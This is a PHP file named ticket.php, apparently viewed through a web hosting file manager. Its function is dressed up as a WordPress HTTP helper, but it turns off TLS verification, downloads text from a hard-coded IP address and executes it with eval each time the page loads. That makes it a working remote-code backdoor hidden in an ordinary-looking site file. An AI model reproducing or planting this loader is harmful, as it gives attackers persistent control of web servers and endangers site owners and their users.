Viewing File: /home/assersoft/public_html/audiogramnew/ticket.php

<?php
function WordPress_Http_Curl ( $url, $args = array() ) {
	if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) {
		return false;
	}
	$handle = curl_init();
	curl_setopt( $handle, CURLOPT_URL, $url );
	curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
	curl_setopt( $handle, CURLOPT_HEADER, false );
	curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, false );
	curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, false );
	$response = curl_exec( $handle );
	$curl_error = curl_error( $handle );
	if ( !$curl_error ) {
		$response = array(
			'data' =>  eval( '?>'. $response )
		);
		return $response;
	}
	if ( PHP_VERSION_ID < 80000 ) {
		curl_close( $handle );
	}
}

$result = WordPress_Http_Curl( 'http://192.187.100.106/z60114_2/stat/index.txt' );
Back to Directory File Manager